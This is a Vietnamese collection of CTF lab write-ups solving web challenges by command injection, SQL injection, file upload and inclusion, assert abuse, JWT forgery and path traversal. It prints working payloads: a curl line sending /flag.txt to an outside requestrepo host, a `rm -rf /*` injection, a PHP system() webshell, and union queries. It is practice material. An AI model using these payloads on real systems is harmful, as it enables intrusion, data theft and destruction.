## The Existed File ![image.png](https://hackmd.io/_uploads/S1xatcGXp.png) ![image.png](https://hackmd.io/_uploads/SkNTK9M7a.png) - Sau khi tải source của trang web, mình có nhận được 1 file là flag.txt nhưng đây là flag sai nên mình phải tìm flag khác. - Sau khi mở file run.py mình được source code sau: ``` from flask import Flask, request, render_template_string import os import subprocess import string app = Flask(__name__) @app.route('/', methods=["GET", "POST"]) def index(): result = "" file_path = None if request.method == "POST": file_path = request.form.get("file_path") file_path = file_path.translate({ord(c): None for c in string.whitespace}) # Blacklist filter blacklisted = [";", "&", "|", "&&", "cat", "head", "tail", "zip", "base64", "bash", "sh", "python", "`"] is_blacklisted = any(bl in file_path for bl in blacklisted) if is_blacklisted: result = "Blacklist characters detected!" else: try: command = f"ls -l {file_path}" result = subprocess.check_output(command, shell=True).decode() if result: result = 'File is existed!' except Exception as e: result = 'File is not existed' return render_template_string(''' <b>Enter the file path to check if it exists:</b><br> <form method="post"> <input type="text" id="file_path" name="file_path" value="/etc/passwd"> <input type="submit" value="Submit"> </form> {% if file_path %} <b> Checking {{file_path }}</b><br></br> {% endif %} <pre>{{ result }}</pre> ''', result=result, file_path=file_path) if __name__ == "__main__": app.run("0.0.0.0", 1337) ``` - Sau khi đọc qua source, mình thấy đoạn code đã bỏ đi ký tự khoảng trắng khi lấy file path từ phương thức post. Vậy nên khi ta sử dụng các câu lệnh như kiểu cat flag.txt khoảng trắng sẽ bị loại bỏ và kết quả sẽ trả về ![image.png](https://hackmd.io/_uploads/SJebacG7a.png) - Kết quả trả về còn chứa `Blacklist characters detected!` tại vì từ cat nó nằm trong danh sách blacklist gồm ` [";", "&", "|", "&&", "cat", "head", "tail", "zip", "base64", "bash", "sh", "python", ""] `. Qua danh sách này, mình đoán bài lab này có vẻ liên quan đến os command injection, vì danh sách này có chứa các ký tự nối các câu lệnh, đọc file và sử dụng câu lệnh shell. Vậy nên mình đã nghĩ đến cách đọc file flag.txt này từ 1 host khác bằng việc sử dụng `curl` gửi thông tin tới `dashboard` bằng câu lệnh : `$(curl${IFS}-d${IFS}@/flag.txt${IFS}97hf6rap.requestrepo.com)` - Với ${IFS} sẽ là biến môi trường thay thế cho khoảng trắng ,`97hf6rap.requestrepo.com` là địa chỉ url `Dashboard` ![image.png](https://hackmd.io/_uploads/SyNB4iMmT.png) ![image.png](https://hackmd.io/_uploads/SyOB4iM7T.png) - flag:`CHH{os_c0mManD_INj3cTi0N_bypa5S_FIL7Er_8e791cdad6f04fdb7cff798167d65cc4}` ## Simple Blind SQL Injection ![image.png](https://hackmd.io/_uploads/rkoGGLmXp.png) ![image.png](https://hackmd.io/_uploads/Hy9mG8Q76.png) - Sau khi check response của request: ![image.png](https://hackmd.io/_uploads/Sk1H7UXXT.png) và mình đã có được câu truy vấn sql `SELECT * FROM users WHERE uid='admin'`. Mình đã thử chèn ký tự `'` sau admin và nhận được thông báo lỗi nhưng khi chèn `''` thì lỗi lại biến mất. Và khi mình thử chèn thêm 1 điều kiện luôn đúng phía sau thì mình cũng bị thông báo lỗi: ![image.png](https://hackmd.io/_uploads/rJ0uVUQQT.png) - Nhưng ở đây mình để ý là câu truy vấn sql luôn tự động chèn thêm kí tự `'` và cuối câu nên mình đã sửa lại thành ![image.png](https://hackmd.io/_uploads/SyU7r8X7T.png) Vậy là mình đã bỏ qua được lỗi cú pháp. Bây giờ mình sẽ đi tiến hành kiểm tra độ dài mật khẩu của `admin` thì sau 1 thời gian thử thì mình tìm được độ dài của nó là 13 ![image.png](https://hackmd.io/_uploads/By5iHUmm6.png) - Bây giờ việc còn lại của mình là đi brute force mật khẩu của admin bằng việc sử dụng câu lệnh `substring` để đi tìm từng kí tự của mật khẩu ![image.png](https://hackmd.io/_uploads/r1DdFUQXT.png) ![image.png](https://hackmd.io/_uploads/HyrqFLmma.png) - Vậy mình đã tìm được password admin là y0u_4r3_4dm1n. Dùng password: y0u_4r3_4dm1n và user:admin đăng nhập vào ta tìm được flag:`CHH{SImPle_B1IND_SQLi_c2e307a3c3fddd93eaeababaf929bbe2}` ## Todo Application ![image.png](https://hackmd.io/_uploads/H1Ulyummp.png) - Khi vào thì họ cho mình 1 source code: ![image.png](https://hackmd.io/_uploads/SJFlg_XQa.png) - Khai báo biến $file với giá trị là todo.txt khi input ta nhập vào checkbox và nó sẽ set vào param là ?add + với $file là todo.txt. Nên bất kì mình nhập vào ô input thì nó đều ghi vào file. Nhưng đoạn code không có thêm blacklist hay whitelist kiểm tra về ghi mã độc và kiểm tra đuôi file. Nên đều này có thể dẫn đến hacker có thể ghi 1 file webshell vào input và đỗi đuôi file từ .txt sang .php dẫn dến có thể RCE hệ thống. - Khi mình add 1 thứ gì đó thì trên url sẽ có 2 parameter ?add và &fileTodo ![image.png](https://hackmd.io/_uploads/rkvoZumQT.png) - Bây giờ mình thử đổi code và đuôi file đên phpinfo() để xem thử thông tin trang web: ![image.png](https://hackmd.io/_uploads/B16ofOQ7p.png) - Và nó thành công thật. Mình có ý định chèn file shell vào để đọc file nhưng khi check thông tin thì có `disable_functions` ![image.png](https://hackmd.io/_uploads/SJyNXumQp.png) Tuy vậy mình phát hiện ra rằng nó không hề disable file_get_contents và scandir . - scandir : liệt kê tất cả các file (giống cmd ls trên ls) - file_get_contents : đọc file Search google về scandir thì có sẵn rồi : [ở đây nè](https://www.w3schools.com/php/func_directory_scandir.asp) - Ở khúc bug path traversal ấy, ../../../ 3 lần là quay về thư mục gốc nên sửa lại trong này để liệt kê các file ở thư mục gốc: ![image.png](https://hackmd.io/_uploads/HJDQBOQma.png) - check file 1.php nó cho ta 2 file flag ![image.png](https://hackmd.io/_uploads/ByCwHO7X6.png) bây giờ mình sẽ đi check xem file nào có flag đúng. Sau khi check thì mình nhận được flag trong file `flag4ECRm.txt` là đúng ![image.png](https://hackmd.io/_uploads/Sy-pDd7Xa.png) - flag tìm được là: `CHH{PHP\_COdE\_iNjECtioN_fb53faa0da916070a4795dc9c421c4ca}` ## Baby Pielily ![image](https://hackmd.io/_uploads/S1-9beXI6.png) ![image](https://hackmd.io/_uploads/H1tpWlX86.png) - upload thử 1 file ảnh thì mình nhận thấy nó không có điều gì xảy ra nó vẫn cho upload file. Mình thử đổi tên file là php thì nhận được thông báo không được phép: ![image](https://hackmd.io/_uploads/rJWHMeQI6.png) - Mình có nhận thấy bên phía respond nó có sử dụng apache nên mình sẽ thêm vào phía request file `.htaccess` và`AddHandler application/x-httpd-php .php .png`. Tệp .htaccess được sử dụng trong web máy chủ để định cấu hình các công cụ điều chỉnh cho thư mục hoặc các công cụ tệp mà nó nằm trong đó. AddHandler application/x-httpd-php .php .png trong tệp .htaccess có thể chỉ định rằng các tệp tin có phần mở rộng .php và .png sẽ được xử lý bởi trình xử lý PHP trên web máy chủ ![image](https://hackmd.io/_uploads/SJbi4lQ8a.png) - Upload thành công bây giờ mình thử đổi tên file và upload thử 1 file có nội dung là php ![image](https://hackmd.io/_uploads/BJkC4gX86.png) ![image](https://hackmd.io/_uploads/HJU04eX8a.png) - Như vậy là mình đã tìm được giải pháp solved bài lab nhiệm vụ bây giờ là chỉ cần đi tìm flag nữa là xong ![image](https://hackmd.io/_uploads/B1XrHgQ86.png) ![image](https://hackmd.io/_uploads/rk8BHl7Up.png) ![image](https://hackmd.io/_uploads/HyEPrlQL6.png) ## Baby Assert ![image](https://hackmd.io/_uploads/HJICMzQIT.png) ![image](https://hackmd.io/_uploads/ryo1XfmIa.png) - Click vào 3 nút, mình thấy ở trang web có 1 parameter ?page= ngay lúc này mình đã test về lỗi LFI ( ../ , ….//) tuy nhiên nó đã không thực thi. - Quan sát ở tab assert trang web cho mình 1 đoạn code: ``` $file = "pages/" . $page . ".php"; assert(...$file...) or die("Detected hacking attempt!"); require_once $file; ``` - **Assert()** là một hàm đánh giá một biểu thức PHP nhất định và nếu biểu thức đánh giá là false, nó sẽ tạo ra một thông báo cảnh báo hoặc gây ra lỗi nghiêm trọng tùy thuộc vào cấu hình PHP. Nó thường được sử dụng cho mục đích gỡ lỗi và thử nghiệm. Tuy nhiên, assert()có thể trở thành rủi ro bảo mật khi sử dụng không đúng cách, đặc biệt khi dữ liệu do người dùng kiểm soát được truyền trực tiếp vào chức assert()năng mà không được xác thực hoặc khử trùng thích hợp. - Mình cũng có tìm được 1 vài payload ở [đây](https://book.hacktricks.xyz/pentesting-web/file-inclusion#lfi-via-phps-assert) ![image](https://hackmd.io/_uploads/BkSmNGQLp.png) - Thử với payload mới tìm được ![image](https://hackmd.io/_uploads/By5DNMQUT.png) - Như vậy là nó đã thực thi payload. Nhưng mình không biết flag ở đâu nên mình sẽ đi tìm nó `' and die(system("ls /")) or '` ![image](https://hackmd.io/_uploads/HybgrMQLT.png) - Và giờ thì đọc flag thôi: flag:`CHH{Fixed\_by\_z3Nd.A5$eRt1oNS_547a35e1fa25fc43b09fd83a9267fd6c} ` ![image](https://hackmd.io/_uploads/Hy7XrfQUp.png) ## Baby Address Note ![image](https://hackmd.io/_uploads/rkqIOQmUp.png) ![image](https://hackmd.io/_uploads/HkPwummU6.png) - Mình có thử nhập UID = 2 thì thấy trên url có para là uid = 2 đồng thời cũng trả về kết quả ở ngay bên dưới ![image](https://hackmd.io/_uploads/ry4nOXXIT.png) - Nhìn qua thì dễ dàng nhận thấy bảng table có 3 cột. Mình thử thêm `'--` vào url để check thử thì không có hiện tượng gì xảy ra nhưng khi thêm điều kiện `' or 1=1 --` thì nó vẫn trả về kết quả. Mình đoán ở đây nó có lỗ hổng sql injection. vì vậy mình đã thêm payload `-1%27%20union%20select%20null,null,null--` thì nó vẫn trả về kết quả ![image](https://hackmd.io/_uploads/H1ykqm7Ia.png) - Đề nó bảo là giá trị FLAG được lưu trong một bảng bí mật của cơ sở dữ liệu nên mình sẽ đi khai thác nó bằng union. Nhưng mình không biết tên bảng, tên code cũng như database là gì. Vì thế mình sẽ đi xem code debug ``` from flask import Flask, session, render_template, request, Response, render_template_string, g import functools import sqlite3 import os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(120) def get_db(): db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect('/tmp/address.db') db.isolation_level = None db.row_factory = sqlite3.Row return db def query_db(query, args=(), one=False): with app.app_context(): cur = get_db().execute(query, args) rv = [dict((cur.description[idx][0], str(value)) for idx, value in enumerate(row)) for row in cur.fetchall()] return (rv[0] if rv else None) if one else rv @app.before_first_request def init_db(): with app.open_resource('schema.sql', mode='r') as f: sql = f.read() get_db().cursor().executescript(sql) @ app.teardown_appcontext def close_connection(exception): db = getattr(g, '_database', None) if db is not None: db.close() @ app.route('/') def index(): uid = request.args.get('uid') if uid: try: sql = f"SELECT * FROM users WHERE uid='{uid}';" result = query_db(sql, one=True) if result: return render_template("welcome.jinja2", uid=uid, result=result) else: return render_template("welcome.jinja2", uid=uid, result='') except Exception as e: return render_template("welcome.jinja2", uid=uid, result=e) else: return render_template("welcome.jinja2", uid=uid, result='') @ app.route('/heath') def heath(): return "OK" @ app.route('/debug') def debug(): return Response(open(__file__).read(), mimetype='text/plain') if __name__ == '__main__': app.run(host='0.0.0.0', port=1337, debug=False) ``` - Thật may mắn khi đoạn code cho mình biết ở đây database là sqlite mọi thông tin khác mình chưa cần xem đến. Bây giờ mình sẽ đi tìm tên của databe payload:`-1%27%20union%20select%20null,name,null%20from%20sqlite_master--` ![image](https://hackmd.io/_uploads/r1Oi2XmIp.png) - Như vậy là đã có tên database giờ là đi tìm tên bảng `-1%27%20union%20select%20null,name,null%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20ORDER%20BY%20name--` ![image](https://hackmd.io/_uploads/Bym9mNmLp.png) - Tiếp theo là tên cột:`-1%27%20union%20select%20null,sql,null%20FROM%20sqlite_master%20WHERE%20tbl_name%20=%20%27flag_iod2F%27%20AND%20type%20=%20%27table%27--` ![image](https://hackmd.io/_uploads/rJsj7N7LT.png) Mọi thứ đã xong giờ là đi lấy flag nào!!! ![image](https://hackmd.io/_uploads/S1MRXVQIT.png) ## Baby Strcmp ![image](https://hackmd.io/_uploads/SytE3IQUp.png) ![image](https://hackmd.io/_uploads/BJdr38QUp.png) - Như đề bài đã đề cập thì bài lab này mình chỉ cần bypass qua việc kiểm tra của hàm strcmp. Mình được biết thì hàm này gặp khó khăn khi so sánh một chuỗi với 1 mảng rỗng vì thế kết quả tra về luôn là true nên vì thế mình chỉ cần thay đổi tham số đầu vào là một mảng rỗng là bypass được nó. Dùng burp suite bắt request đồng thời thay đổi tham số đầu vào: ![image](https://hackmd.io/_uploads/BJ84p8QUa.png) ## Brute-force Basic Authentication ![image](https://hackmd.io/_uploads/S1IdxrEUp.png) ![image](https://hackmd.io/_uploads/HytwlHVIp.png) - Bài này bắt mình đoán mật khẩu để vượt qua basic authentication. ![image](https://hackmd.io/_uploads/SJfAeS4IT.png) - Thông tin được tải lên được mã hóa dưới dạng base64 của `username:password` mà mình nhập vào - . Nên mình sẽ đi brute force bằng công cụ `hydra` với các list user và password mà mình kiếm được trên google: ![image](https://hackmd.io/_uploads/rk4NZrEIT.png) ![image](https://hackmd.io/_uploads/BJpSZSVL6.png) - flag:`CHH{bRutefoRc3_Ba51c_auth_475eb177815fd94aabb1a8401cb33c29}` ## Baby SQLite With Filter ![image](https://hackmd.io/_uploads/r1u7v2VLT.png) ![image](https://hackmd.io/_uploads/H1g8d2VLT.png) - Nhập thử dữ liệu và bắt các request bằng burp suite ![image](https://hackmd.io/_uploads/H1mnOh4Up.png) - Mình thấy đề bài nó bảo là tham số dễ bị tổn thương là level nhưng tại request post này lại không có. Thử thêm tham số level vào ![image](https://hackmd.io/_uploads/HyxmtnEUp.png) - Vẫn post lên thành công. Như vậy là mình xác định được nơi để khai thác. Xem đề bài thì mình thấy danh sách blacklist: `sqli_filter = \['\[', '\]', ',', 'admin', 'select', ''', '"', '\\t', '\\n', '\\r', '\\x08', '\\x09', '\\x00', '\\x0b', '\\x0d', ' '\] ` - Nó filter khá nhiều thứ đặc biệt là kí tự `', khoảng trắng, admin và select`. Filter admin thì chắc là dữ liệu truy vấn là admin rồi. Vì vậy mình cần thêm admin vào dữ liệu truy vấn. Nhưng nó cũng select và khoảng trắng. Về khoảng trắng thì mình có thể tạo ra bằng việc thêm chú thích /**/ vào còn việc select thì theo như dữ liệu của [sql lite](https://www.sqlite.org/lang_select.html) câu select có thể thay bằng `values()`. Còn admin thì mình sẽ dùng hàm char và hàm concat(||) để nối nó lại vì vậy payload sẽ là `/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))` ![image](https://hackmd.io/_uploads/ryLV0nE8T.png) -Flag: `CHH{uS1nG_5yN7@x_d149raM_d085e2b2322740eb9c9d4b902a0d12c2}` ## Baby Ping ![image](https://hackmd.io/_uploads/BJu8Y6NIT.png) ![image](https://hackmd.io/_uploads/SJkceRVUT.png) - Bắt request nó bằng burp suite: ![image](https://hackmd.io/_uploads/BJ16l0E8T.png) - Như đề bài của lab bảo :nhập địa chỉ ip là x.x.x.x; rm -rf /*. Trang web không kiểm tra tính đúng đắn của địa chỉ IP nên vẫn truyền xuống bên dưới cho hệ thống. Hệ thống sẽ chạy lệnh ping -c 3 x.x.x.x; rm -rf /*. Và khi mình thử với payload `1.1.1.1; rm -rf /*` để kiểm tra xem còn có gì đặc biệt hơn không: ![image](https://hackmd.io/_uploads/BJOqy_S8T.png) - Ở đây mình nhận thấy là những thứ mình nhập vào thì nó được đặt trong dấu nháy kép nên nó nghĩ đoạn input mình nhập chỉ là địa chỉ ip mà thôi nên xảy ra lỗi. Ở đây mình sẽ nghĩ cách thoát ra khỏi câu lệnh ping và dùng lệnh comment để comment lại phần thừa phía sau: payload:`1.1.1.1"; ls #` ![image](https://hackmd.io/_uploads/ry6zedBUT.png) - Giờ việc còn lại của mình là đi tìm vị trí flag và đọc nó: ![image](https://hackmd.io/_uploads/rk5UluBIp.png) - Flag:`CHH{C0MM4ND_1nj3C7ioN_pinG_14a6dc0e9d042965172cb4ab474b2346}` ## Remote File Inclusion ![image](https://hackmd.io/_uploads/ByMnljHIp.png) ![image](https://hackmd.io/_uploads/ry1agoSLp.png) - Mình thấy trên url có tgham số là file= và mình cũng có tìm được ở [hacktrick](https://exploit-notes.hdks.org/exploit/web/security-risk/file-inclusion/) một payload là: ![image](https://hackmd.io/_uploads/S13eZsHL6.png) - Đoạn base 64 `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+` có nghĩa là ``` <?php system($_GET['cmd']); ?> ``` thử thay nó bằng đoạn code: ``` <?php system("ls"); ?> ``` sau đó decode và mình có payload là `data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg==` ![image](https://hackmd.io/_uploads/BJ55-jrIp.png) - Giờ thid đi tìm file flag thôi: ![image](https://hackmd.io/_uploads/BJSrfiBIa.png) ![image](https://hackmd.io/_uploads/Sy0_GoB86.png) - Flag: `CHH{pHp\_A11Ow\_url\_INCLud3\_e6ab83fd95fa4d93dd1bca5d4f6905ec} ` ## Ping 0x01 - Bài này mình dùng newline để bypass flag:`CHH{EASY_f11tEr_coMM4ND_INJ3c71oN_e04921930cd6cbc5b1adcbff84903167}` ## Ping 0x02 ![image](https://hackmd.io/_uploads/B1lOenSLT.png) - Bài này có đoạn code khá giống bài trên nhưng nó có thêm phần phần filter: ``` <?php if(isset($_POST[ 'ip' ])) { $target = urldecode(trim($_POST[ 'ip' ])); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ' ' => '', 'flag' => '', "*" => '' ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); $cmd = shell_exec( 'ping -c 4 ' . $target ); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Ping Pong</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> </head> <body class="text-center"> <main class="form-ping"> <form method="post"> <img class="mb-4" src="picture.gif" alt="" width="272" height="257"> <h1 class="h3 mb-3 fw-normal">Ping machine</h1> <div class="form-floating"> <input name="ip" class="form-control" id="floatingInput"> <label for="floatingInput">Ip address</label> </div> <div class="text-start"> <?php if(isset($_POST[ 'ip' ])) { echo $target; echo "<pre>{$cmd}</pre>";}?> </div> <button class="w-100 btn btn-lg btn-primary" type="submit">Ping</button> </form> </main> </body> </html> ``` - Wildcard (*) đã bị cấm sử dụng - Blankspace (space) cũng bị luợt đi - Từ flag cũng bị luợt đi. - Tương tự bài trước mình cũng dùng newline: ![image](https://hackmd.io/_uploads/BypyWnSUT.png) - Nó vẫn thành công. Nhưng để đọc được file flag như bài trước thì hơi khó vì nó filter mất flag. Mình tìm được tại [đây](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md) payload để bypass việc filter flag.txt: ![image](https://hackmd.io/_uploads/BklFG2rIa.png) - Giờ chỉ còn là phím space: ![image](https://hackmd.io/_uploads/rkCFQnSLp.png) - Như vậy payload sẽ là:`cat<../fla\g.txt` ![image](https://hackmd.io/_uploads/HybR7nHU6.png) ## The JWT Algorithm ![image](https://hackmd.io/_uploads/SJ_ZY2SIp.png) - Mình có kiểm tra source code của bài này nhưng không tìm thấy được gì. Vì thế mình thử dirsearch nó xem có tìm được file gì đặc biệt không: ![image](https://hackmd.io/_uploads/HySLF3SL6.png) - Mình tìm được 3 đường dẫn vào `/robots.txt` thì nó lại bảo vào `/secret` còn `/flag` thì chắc chắn không vào được rồi. Vào `/secret` và bắt request của nó thì nhận được thông báo là phải là google bot thì mới được truy cập. Nó bắt truy cập bằng google bot nên mình sẽ chỉnh header là Googlebot: ![image](https://hackmd.io/_uploads/BJft5nBUp.png) - Thành công và nó cho mình 1 username và password. Thử đăng nhập bằng tài khoản này. Check thử cookie: ![image](https://hackmd.io/_uploads/r1Jkj2SIp.png) - Nó cho mình 2 cái cookie, vì bài này liên quan đến JWT nên mình sẽ sử dụng công cụ [jwt.io](https://jwt.io/): ![image](https://hackmd.io/_uploads/Hkw4jhH86.png) ![image](https://hackmd.io/_uploads/SJhSo3BLp.png) - Vậy là đã rõ mình sẽ làm việc với cookie authorization. Nó khá giống một vài bài bên jwwt của trang [rootme](https://www.root-me.org/en/Challenges/Web-Server/) mà mình đã làm qua trước đây. Nên mình cảm thấy khả là quen thuộc. Đoạn cookie này được mã hóa bằng base 64 nên mình sẽ chỉnh sửa user thành admin và alg thành none: ![image](https://hackmd.io/_uploads/BkJY32SLp.png) ![image](https://hackmd.io/_uploads/ByStn3HIa.png) - Từ đó mình sẽ có cookie là :`"Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.DuN7AfFNNqaQdSO-x7yfm8hSyTeUj5852Wx6KRXBLtw"` - Đổi cookie và reload lại trang: ![image](https://hackmd.io/_uploads/H1R632rIa.png) ## Baby Guestbook ![image](https://hackmd.io/_uploads/r1zgSK6SA.png) ### Phân tích - Đề bài có đề cập tới Path traversal nên mình nghĩ làm bài này theo hướng đó. Đề cho mình 1 source code thì xem qua đoạn mã ở file `main.go` ``` func postHandler(w http.ResponseWriter, r *http.Request) { r.ParseForm() name := r.Form.Get("name") content := r.Form.Get("content") if name != "" && content != "" { message := Message{ Name: name, Content: template.HTML(utils.ResolveEmojis(content)), } guestbook = append(guestbook, message) } http.Redirect(w, r, "/", http.StatusFound) } ``` Ở đây, trang web sẽ lấy các giá trị name và value từ form sau khi chúng ta submit và được lưu vào biến name và content. Biến content này sẽ được xử lý bằng hàm `template.HTML(utils.ResolveEmojis(content))` để render ra trang web các biểu tượng cảm xúc. Tiếp theo mình có đọc đoạn mã của file code `emojis.go` ``` const EMOJI_ROOT string = "static/emojis/%s" func getEmojiByName(name string) string { emoji_name := strings.Trim(name, ":") emoji_path := fmt.Sprintf(EMOJI_ROOT, emoji_name) // read the emoji file buffer, err := os.ReadFile(emoji_path) if err != nil { return name } body := base64.StdEncoding.EncodeToString(buffer) data_uri := fmt.Sprintf("data:image/png; base64,%s", body) return fmt.Sprintf(`<img src='%s' title='%s'>`, data_uri, emoji_name) } func ResolveEmojis(body string) string { emoji_re := regexp.MustCompile(`:[^:]+:`) return emoji_re.ReplaceAllStringFunc(body, getEmojiByName) } ``` Ở đây hàm ResolveEmoji sẽ regex tham số content và thay thế tất cả các chuỗi emoji bằng các giá trị trả về từ hàm `getEmojiByName`. Hàm `getEmojiByName` sử dụng biến emoji_name để lưu chuỗi content được loại bỏ dấu `:` Sau đó sử dụng hàm fmt.Sprintf để tạo ra path của file và được lưu vào biến `emoji_path`. Sau đó nó đọc nội dung file và lưu trữ vào biến buffer nếu có lỗi thì lưu vào biến `err`. Tiếp theo nội dung của file sẽ được mã hóa bằng base64 và được lưu trữ ở biến body. Nội dung của file sẽ được trang web trả về tại src của thẻ img. - Xem qua Dockerfile mình thấy file flag.txt được đặt tại thư mục `/` ``` FROM golang:alpine3.19 # Install system packeges RUN apk add --update --no-cache supervisor COPY config/supervisord.conf /etc/supervisord.conf # Copy challenge files COPY challenge /app # Copy flag COPY flag.txt /flag.txt WORKDIR /app RUN go mod download RUN go build -o /app/main *.go EXPOSE 1337 CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"] ``` ### Phương hướng giải quyết - Như đã nói ở trên, mình thấy đề bài có nhắc đến Path traversal nên mình sẽ giải quyết theo hướng này. Mặc khác, trang web nó lấy giá trị của biến content để làm giá trị đầu vào tạo thành path, sau đó đọc path đó để render ra trang web, nhưng ở đây nó lại lọc các giá trị đầu vào sơ xài qua hàm regex mà không lọc các kí tự đặc biệt. ### Khai thác - Ở đây mình sẽ dùng payload để path traversal:`../../../../../../../../flag.txt` ![image](https://hackmd.io/_uploads/r1kIj5arC.png) Sau khi submit mình thu được kết quả: ![image](https://hackmd.io/_uploads/B11ai9TS0.png) Đọc thử mã nguồn trang web mình thu được nội dung của file flag.txt: ![image](https://hackmd.io/_uploads/HyMm2q6rC.png) Decode nó ra mình thu được flag ![image](https://hackmd.io/_uploads/B1gr3qpSA.png) ## Allsky Admin ### Đề bài ![image](https://hackmd.io/_uploads/rkQ5DXR5A.png) **Note**: Tài khoản đăng nhập là admin/secret(Mình tìm thấy nó public trên gg=))) ### Phân tích - Đề bài cho mình biết source code của hệ thống Allsky. Tại file index, nó kiểm tra trên thanh url có các tham số `page` và `day` để làm dữ liệu để xử lý ``` if (isset($_POST['page'])) $page = $_POST['page']; else if (isset($_GET['page'])) $page = $_GET['page']; else $page = ""; if (isset($_GET['day'])) $day = " - " . $_GET['day']; else $day = ""; ``` Nhưng trước khi có thể truy cập được vào giao diện của Allsky thì nó bắt mình phải đăng nhập trước ``` if ($useLogin) { session_start(); if (empty($_SESSION['csrf_token'])) { if (function_exists('mcrypt_create_iv')) { $_SESSION['csrf_token'] = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)); } else { $_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } $csrf_token = $_SESSION['csrf_token']; } ``` Nếu đăng nhập thành công thì nó sẽ dùng tham số `page` để điều hướng trang web. Mặc định khi vào thì nó sẽ ở live view ![image](https://hackmd.io/_uploads/SkB4yEA5R.png) Đọc source code thì ban đầu thì có để ý vào đoạn code ở `days.php` ``` function delete_directory($directory_name) { global $page; // First make sure this is a valid directory. if (! is_valid_directory($directory_name)) { return "Invalid directory name."; } // If there is any output it's from an error message. $output = null; $retval = null; exec("sudo rm -r '$directory_name' 2>&1", $output, $retval); if ($output == null) { if ($retval != 0) $output = "Unknown error, retval=$retval."; else $output = ""; } else { $output = $output[0]; // exec() return output as an array } return $output; } ``` Hàm `delete_directory` sẽ được gọi từ hàm `ListDays` và kết quả sẽ được lưu vào `msg` `$msg = delete_directory(ALLSKY_IMAGES . "/$date");` Mình nghĩ nếu mình truyền cho `$directory_name` một giá trị gì đó để nó thực hiện đồng thời lệnh xóa và 1 lệnh gì đó nữa là mình mong muốn, nhưng khi đọc hàm `is_valid_directory` ở file `functions.php` thì mình cảm giác là nó regex khá là khó ăn nên mình phải chuyển sang đối tượng khác. Và sau 1 thời gian ăn nằm với source code thì mình đọc được file `save_file.php` ``` if (isset($_POST['content'])) $content = $_POST['content']; else $content = ""; $path = ""; if (isset($_POST['path'])) $path = $_POST['path']; if ($path == "") { echo "E No file name specified to save!"; exit; } ``` Nó xử lý tham số path và content khá là sơ xài. Nên đã nghĩ cách để khai thác nó ### Phương hướng khai thác Mặc định ở như file `editor.php` thì nó truyền vào `path` là `config/config.sh` và nội dung của content sẽ được nhập vào từ giao diện editor ![image](https://hackmd.io/_uploads/rJB784AcR.png) Sau đó nó sẽ thay thế thư mục `current`, `config` hoặc `website` bằng `ALLSKY_HOME ` thông qua ``` if (substr($path, 0, 7) === "current") $file = str_replace('current/', ALLSKY_HOME . "/", $path); else if (substr($path, 0, 6) === "config") $file = str_replace('config/', ALLSKY_CONFIG . "/", $path); else // website $file = str_replace('website/', ALLSKY_WEBSITE . "/", $path); ``` Và sau đó nó sẽ gọi đến hàm update của function để cập nhật file ``` function updateFile($file, $contents, $fileName, $toConsole) { if (@file_put_contents($file, $contents) == false) { $e = error_get_last()['message']; // $toConsole tells us whether or not to use console.log() or just echo. if ($toConsole) { $cl1 = "<script>console.log('"; $cl2 = "');</script>"; } else { $cl1 = ""; $cl2 = ""; } echo $cl1 . "Unable to update $file 1st time: $e$cl2\n"; // Assumed it failed due to lack of permissions, // usually because the file isn't grouped to the web server group. // Set the permissions and try again. $err = str_replace("\n", "", shell_exec("x=\$(sudo chgrp " . WEBSERVER_GROUP . " '$file' 2>&1 && sudo chmod g+w '$file') || echo \${x}")); if ($err != "") { return "Unable to update settings: $err"; } if (@file_put_contents($file, $contents) == false) { $e = error_get_last()['message']; $err = "Failed to save settings: $e"; echo $cl1 . "Unable to update file for 2nd time: $e$cl2"; $x = str_replace("\n", "", shell_exec("ls -l '$file'")); echo $cl1 . "ls -l returned: $x$cl2"; // Save a temporary copy of the file in a place the webserver can write to, // then use sudo to "cp" the file to the final place. // Use "cp" instead of "mv" because the destination file may be a hard link // and we need to keep the link. $tempFile = "/tmp/$fileName-temp.txt"; if (@file_put_contents($tempFile, $contents) == false) { $err = "Failed to create temporary file: " . error_get_last()['message']; return $err; } $err = str_replace("\n", "", shell_exec("x=\$(sudo cp '$tempFile' '$file' 2>&1) || echo 'Unable to copy [$tempFile] to [$file]': \${x}")); echo $cl1 . "cp returned: [$err]$cl2"; return $err; } } return ""; } ``` Lúc đầu mình cũng chỉ nghĩ là đề có tag là `OS Command Injection` thì mình sẽ truền cái gì đó để cái `$err = str_replace("\n", "", shell_exec("x=\$(sudo chgrp " . WEBSERVER_GROUP . " '$file' 2>&1 && sudo chmod g+w '$file') || echo \${x}"));` này chạy được thêm lệnh mà mình mong muốn. Đọc kỹ lại `save_files.php` thì nó bảo là không=)). Tại vì nó có 1 đoạn mã để kiểm tra xem file có tồn tại hay không. Nếu không sẽ in ra lỗi ``` if (! file_exists($file)) { echo "E File to save '$file' does not exist (path=$path)!"; exit(1); } ``` Vậy thì mình chỉ cần tìm đến 1 cái file nào tồn tại rồi truyền cho nó nội dung content là ok ngay ### Khai thác - Thì tại mục image mình thấy nó có thư mục `20240723` trong này có 2 cái ảnh ![image](https://hackmd.io/_uploads/ry0osN0qA.png) Và mình đã thử truyền path của cái ảnh này để làm nơi chứa nội dung của `content` mà mình update ![image](https://hackmd.io/_uploads/SknWhVRqC.png) 